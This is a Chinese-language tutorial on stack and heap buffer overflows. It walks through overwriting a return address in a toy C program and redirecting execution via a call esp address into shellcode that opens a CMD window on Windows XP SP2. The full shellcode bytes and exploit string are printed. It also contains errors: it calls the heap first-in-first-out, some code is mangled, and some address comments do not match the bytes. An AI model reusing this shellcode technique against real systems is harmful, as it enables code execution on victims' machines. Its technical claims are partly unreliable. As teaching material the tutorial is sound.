缓冲区溢出漏洞

缓冲区溢出漏洞，是一种在软件中最容易发生的漏洞。它发生的原理是，由于软件在处理用户数据时使用了不限边界的拷贝，导致程序内部一些关键的数据被覆盖，引发了严重的安全问题。

缓冲区指的是操作系统中用来保存临时数据的空间，一般分为栈和堆两种缓冲区类型。缓冲区溢出漏洞是一种非常普通、非常危险的漏洞，在各种操作系统、应用软件，甚至是 Web 应用程序中广泛存在。

利用缓冲区溢出攻击，可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

在当前网络与操作系统安全中，50%以上的攻击都是来自于缓冲区溢出漏洞。而缓冲区溢出中，最为危险的是栈溢出，因为入侵者可以利用栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，然后为所欲为。

这里要澄清一个概念，很多人把缓冲区溢出称之为堆栈溢出漏洞，其实是错误的，堆溢出和栈溢出是两个不同的概念，都属于缓冲区溢出。

平时听说的缓冲区溢出大部分都是属于栈溢出。由于程序在实现的过程中，往往会自定义一些内存空间来负责接受或者存储数据，这些被直接定义的空间大小是有限的，因此当程序将过多的数据不经检查而直接放入这些空间中时，就会发生栈溢出。

栈溢出最为直接的危害是，这些被过量放进内存空间的数据会将函数的返回地址覆盖。“返回地址”的概念来自于 CPU 处理指令的结构设计。如果程序现在准备调用一个函数 ,CPU 首先会将执行完这个函数后将要执行的指令地址存储到栈空间中，然后 CPU 开始执行函数，执行完毕，CPUCPU 取出前面保存的指令地址，然后接着执行。这个“返回地址”是保存在栈空间中的，而程序一般定义的空间也是在栈中进行分配的，这就给了我们覆盖这个“返回地址”的机会。

栈是一个先进后出的空间，而堆则恰恰相反，是一个先进先出的空间。缓冲区溢出就是把这些空间装满后还继续往里面装。

但是对于一个软件来讲，危害可能不仅仅如此，用一个表来表示这个过程在栈溢出发生的时候，软件运行时内存中的情况。

正常：

Lower Addresses
buf2
buf1
var3
saved %EBP
return address
function()'s arguments
saved %EBP
return addresss
main()'s arguments
Higher Addresses

溢出：

Lower Addresses
buf2

buf1-41414141

41414141

41414141（当栈溢出发生时，esp 寄存器指向这里）

41414141(return address)

41414141

saved %EBP

return address

main()'s arguments

Higher Addresses

从正常时候的内存分布可以看出，内存的高端部分是函数从被调用函数返回时需要的地址，而内存低端部分则是被调用函数的两个要使用的缓冲空间：buf1 和 buf2。在这里解释一下，假设被调用的函数是 strcpy，strcpy 函数是一个字符串复制函数，有两个参数，其中 buf2 代表来源字符串，buf1 代表目的空间，strcpy 函数的目的就是要把 buf2 中的字符串全部复制进入 buf1 代表的空间。现在如果将 buf2，即来源字符串弄得很长，假设是很多“A”，这个时候再去执行 strcpy 函数，内存中的分配空间就会出现溢出中所表现的样子。可以看到 buf1 中充满字符 41，“41”是 A 的 ASCII 码，不但如此，紧接着 buf1 的内存空间也全部被覆盖成了 41，最关键的一个地方“return address”这块内存也全部成了 41。那么程序在执行完 strcpy 函数要返回的时候，程序获得的返回地址竟是 41414141，程序不管这个地址对不对，就直接返回了，结果程序会因为这个地址非法而出错。

现在看一下，因为程序的返回地址被覆盖，所以程序出错，而这个覆盖值是我们故意输入的，也就是说我们完全能够控制把什么数值覆盖到程序的返回地址上，那么如果将一段恶意代码或者要执行某个目的的代码，预先放入内存中某个地址，再将这个地址覆盖到程序的返回地址上，这样程序一旦溢出后返回，

就会自动跳到代码上去，并且会执行代码，而且这一切都是由程序“正常”执行的。

恶意攻击者为了能够利用栈溢出来控制软件的执行流程，一般会将溢出地址覆盖为 jmp esp 指令或者 call esp 指令所在的地址。这是因为对于程序来说，当发生栈溢出时，往往是程序中的某一个函数的返回地址被过长的数据覆盖，此时，esp 寄存器指向的地址就是过长数据的后半部分。如溢出时内存分布可以看出。

如果此时，esp 指向的这段过长数据是一段恶意代码，那么当我们把函数的返回地址覆盖成为一个 jmp esp 指令或者 call esp 指令所在的地址时，溢出发生后 ,函数一返回就会跳转到 jmp esp 指令或者 call esp 指令所在地址上 ,CPU 执行 jmp esp 指令或者 call esp 指令后，马上就会跳到 esp 寄存器指向的过长数据上，从而执行恶意代码，即常说的 ShellCode。

举个例子，如下代码：

```
#include<stdio.h>
#include<string.h>
char name[] = "taizihuc";
void cc(char * a)
{
char output[8];
strcpy(output,a);
printf("%s\n",output);
}
intmain()
{
cc(name);
return 0;
```

}

利用 Visual C++6.0 来编译执行。代码中使用 strcpy 函数将 name 字符串复制到 output 字符串所在内存地址中，需要注意 output 指向的内存大小只有 8 个字节大小。在没有发生栈溢出时，代码最终执行结果为 taizihuc 这个字符串。

现在让 name 成为一段大于 8 个字节的字符串，将 taizihuc 修改为 abcdefghijklmnopqrstuvwxyz，再次编译执行，可以看到此刻代码最终运行结果发生了错误，系统给出了一个错误警告提示对话框。

可以看到，程序在执行内存地址 6c6b6a69 的时候发生了错误。其实这里的 6c6b6a69 就是“lkji”的 ASCII 码，之所以不是“ijkl”，是因为 Windows 操作系统的性质决定了内存中的数据是倒着存放的。也就是说此刻，lkji 这 4 个字母覆盖了程序的返回地址，栈溢出现象发生了。

具体分析一下，在 i 之前的 abcdefgh 刚好 8 个字节，也就是 output 指向的 8 个字节的内存地址已经被填满，多余的 ijklmnopqrstuvwxyz 就覆盖到了栈空间中的其他数据，包括函数的返回地址。

用 OLLYICE 来分析一下，可以看到如下关键的寄存器指向：

ESP 0012FF80 ASCII "mnopqrstuvwxyz"
EIP 6C6B6A69

从这两句可以看到 esp 寄存器指向了 ijkl4 个字母后面的过长字符串。

将 mnopqrstuvwxyz 替换成为一段 ShellCode 代码，这里用在 WindowsXP SP2 系统下打开一个 CMD 命令行窗口的 ShellCode 程序，即：

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53
"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\
xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1D\x80\x7C" //WindowsXP SP2 loadlibrary 地址 0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xC7\x93\xBF\x77" //WindowsXP SP2 system 地址 0x7801afc3

"\xFF\xD0";

同时，需要将 ijkl4 个字母替换成为一个 jmp esp 指令或者 call esp 指令所在的地址，这个地址可以通过 findjmp.exe 获得。具体方法不详细说了。这里获得的 call esp 指令地址为 0x7C82385D。

OK，现在来修改最初的那段代码。

#include<stdio.h>

#include<string.h>

char name[] = "\x41\x41\x41\x41"

"\x41\x41\x41\x41" //这里就是 8 个字母 A

"\x5D\x38\x82\x7C" //这里将 call esp 指令地址需要倒着写

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1D\x80\x7C" //WindowsXP SP2 loadlibrary 地址 0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xC7\x93\xBF\x77" //WindowsXP SP2 system 地址 0x7801afc3

"\xFF\xD0"; //以上就是一个开启 CMD 窗口的 ShellCode

```
void cc(char * a)
{
char output[8];
strcpy(output,a);
printf("%s\n",output);
}
intmain()
{
cc(name);
return 0;
}
```

再次编译，可以看到程序打印出一段带有字母 A 的字符串后切换窗口，打开了一个 CMD 命令行窗口。这个是一个典型的栈缓冲区溢出漏洞。

堆溢出是一种比较复杂的溢出，系统在管理堆这个缓冲区时，采用的是一个双向链表结构。堆不同于栈，堆中的数据时先进先出，当堆溢出发生时，主要是管理堆结构的一些关键指针数据被覆盖了。例：

```
int main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbccccccccc";
buf1 = (char*)malloc (32); /*  在堆上分配 buf1 */
```

```
memcpy (buf1, s, 32 16); /*  这里多复制 16 个字节  */
buf2 = (char*)malloc (16); /*  在堆上分配 buf2 */
free (buf1);
free (buf2);
return 0;
}
```

在给 buf1 完成 malloc 之后，返回的地址（buf1）是个指针，指向的内存分配情况是：

buf1 的管理结构（8bytes）|buf1 真正可操作空间（32bytes）|下一个空闲堆的管理结构（8bytes）|两个双链表指针（8bytes）

在给 buf2 完成 malloc 之后，buf1 指向的内存分配情况是：

buf1 的管理结构（8bytes）|buf1 真正可操作空间（32bytes）|buf2 的管理结构(8bytes)|buf2 真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在假如在 buf2 分配空间之前，buf1 的 memcpy 操作溢出，并且覆盖了下一个空闲堆的管理结构和两个双链表指针共 16 个字节的时候，就会造成 buf2 的 RtlAllocHeap 操作异常，堆溢出就发生了。再看一个存在堆溢出的代码：

```
bool CheckAuthor(char* username, char* password)
{
char *uname=new char[32];
strcpy(uname, username);
...
```

如果此时用户输入的 username 值长度超过 32 字节，毫无疑问，uname 分配的堆空间肯定会发生溢出，这将导致程序出现异常。如果攻击者精确定位这个异常，把指向异常函数的地址覆盖了，那么就可以获得执行自己程序的权限。